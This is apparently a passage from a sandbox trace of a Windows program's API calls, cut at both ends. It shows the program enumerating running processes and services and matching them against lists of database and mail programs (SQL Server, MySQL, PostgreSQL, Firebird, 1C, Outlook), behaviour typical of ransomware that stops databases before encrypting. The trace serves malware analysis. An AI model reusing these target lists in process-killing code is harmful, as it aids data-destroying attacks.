lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0262.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0262.570] lstrlenW (lpString="Themes") returned 6 [0262.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0262.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0262.571] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0262.571] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0262.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0262.571] lstrlenW (lpString="TrkWks") returned 6 [0262.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0262.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0262.571] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0262.571] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0262.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0262.571] lstrlenW (lpString="UxSms") returned 5 [0262.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0262.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0262.571] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0262.571] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0262.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0262.571] lstrlenW (lpString="Winmgmt") returned 7 [0262.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0262.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0262.571] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0262.571] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0262.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0262.571] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x454b168 | out: hHeap=0x540000) returned 1 [0262.571] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b4 [0262.572] Process32FirstW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.575] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0262.575] lstrlenW (lpString="System") returned 6 [0262.575] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0262.575] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0262.575] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0262.575] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0262.576] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0262.576] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0262.576] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0262.576] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0262.576] lstrlenW (lpString="smss.exe") returned 8 [0262.576] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0262.576] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0262.576] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0262.576] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0262.576] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0262.576] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0262.576] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0262.576] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.576] lstrlenW (lpString="csrss.exe") returned 9 [0262.576] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0262.576] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0262.577] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0262.577] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0262.577] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0262.577] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0262.577] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0262.577] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0262.577] lstrlenW (lpString="wininit.exe") returned 11 [0262.577] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0262.577] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0262.577] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0262.577] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0262.578] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0262.578] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0262.578] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0262.578] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.578] lstrlenW (lpString="csrss.exe") returned 9 [0262.578] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0262.578] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0262.578] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0262.578] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0262.578] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0262.578] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0262.578] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0262.578] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0262.578] lstrlenW (lpString="winlogon.exe") returned 12 [0262.578] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0262.578] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0262.579] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0262.579] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0262.579] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0262.579] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0262.579] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0262.579] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0262.579] lstrlenW (lpString="services.exe") returned 12 [0262.579] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0262.579] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0262.579] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0262.579] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0262.579] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0262.579] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0262.579] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0262.579] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0262.580] lstrlenW (lpString="lsass.exe") returned 9 [0262.580] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0262.580] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0262.580] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0262.580] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0262.580] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0262.580] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0262.580] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0262.580] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0262.580] lstrlenW (lpString="lsm.exe") returned 7 [0262.580] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0262.580] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0262.580] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0262.580] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0262.580] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0262.580] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0262.580] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0262.580] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.581] lstrlenW (lpString="svchost.exe") returned 11 [0262.581] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0262.581] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0262.581] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0262.581] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0262.581] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0262.581] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0262.581] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.581] lstrlenW (lpString="svchost.exe") returned 11 [0262.581] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.581] lstrlenW (lpString="svchost.exe") returned 11 [0262.581] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.582] lstrlenW (lpString="svchost.exe") returned 11 [0262.582] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.582] lstrlenW (lpString="svchost.exe") returned 11 [0262.582] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0262.582] lstrlenW (lpString="audiodg.exe") returned 11 [0262.582] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.583] lstrlenW (lpString="svchost.exe") returned 11 [0262.583] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.583] lstrlenW (lpString="svchost.exe") returned 11 [0262.583] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0262.583] lstrlenW (lpString="userinit.exe") returned 12 [0262.583] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0262.583] lstrlenW (lpString="dwm.exe") returned 7 [0262.583] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.584] lstrlenW (lpString="explorer.exe") returned 12 [0262.584] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0262.584] lstrlenW (lpString="spoolsv.exe") returned 11 [0262.584] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0262.584] lstrlenW (lpString="taskhost.exe") returned 12 [0262.584] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.584] lstrlenW (lpString="svchost.exe") returned 11 [0262.585] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0262.585] lstrlenW (lpString="chrome64b.exe") returned 13 [0262.585] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0262.585] lstrlenW (lpString="reader_sl.exe") returned 13 [0262.585] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0262.585] lstrlenW (lpString="dllhost.exe") returned 11 [0262.585] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0262.586] CloseHandle (hObject=0x3b4) returned 1 [0262.586] Sleep (dwMilliseconds=0x1f4) [0263.343] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45447e8 [0263.457] EnumServicesStatusExW (in: hSCManager=0x45447e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0263.458] GetLastError () returned 0xea [0263.458] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe90) returned 0x454b168 [0263.458] EnumServicesStatusExW (in: hSCManager=0x45447e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x454b168, cbBufSize=0xe90, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x454b168, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0263.458] CloseServiceHandle (hSCObject=0x45447e8) returned 1 [0263.458] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0263.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0263.458] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0263.458] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0263.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0263.458] lstrlenW (lpString="AudioSrv") returned 8 [0263.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0263.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0263.458] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0263.459] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0263.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0263.459] lstrlenW (lpString="BFE") returned 3 [0263.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0263.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0263.459] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0263.459] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0263.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0263.459] lstrlenW (lpString="CryptSvc") returned 8 [0263.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0263.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0263.459] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0263.459] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0263.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0263.459] lstrlenW (lpString="CscService") returned 10 [0263.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0263.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0263.459] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0263.459] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0263.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0263.459] lstrlenW (lpString="DcomLaunch") returned 10 [0263.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0263.459] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0263.459] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0263.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0263.459] lstrlenW (lpString="Dhcp") returned 4 [0263.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0263.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0263.459] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0263.459] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0263.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0263.459] lstrlenW (lpString="Dnscache") returned 8 [0263.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0263.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0263.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0263.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0263.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0263.460] lstrlenW (lpString="DPS") returned 3 [0263.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0263.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0263.460] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0263.460] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0263.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0263.460] lstrlenW (lpString="eventlog") returned 8 [0263.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0263.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0263.460] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0263.460] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0263.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0263.460] lstrlenW (lpString="EventSystem") returned 11 [0263.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0263.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0263.460] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0263.460] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0263.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0263.460] lstrlenW (lpString="gpsvc") returned 5 [0263.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0263.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0263.460] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0263.460] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0263.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0263.461] lstrlenW (lpString="iphlpsvc") returned 8 [0263.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0263.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0263.461] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0263.461] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0263.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0263.461] lstrlenW (lpString="LanmanServer") returned 12 [0263.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0263.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0263.461] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0263.461] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0263.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0263.461] lstrlenW (lpString="LanmanWorkstation") returned 17 [0263.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0263.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0263.461] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0263.461] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0263.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0263.461] lstrlenW (lpString="lmhosts") returned 7 [0263.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0263.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0263.461] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0263.461] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0263.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") 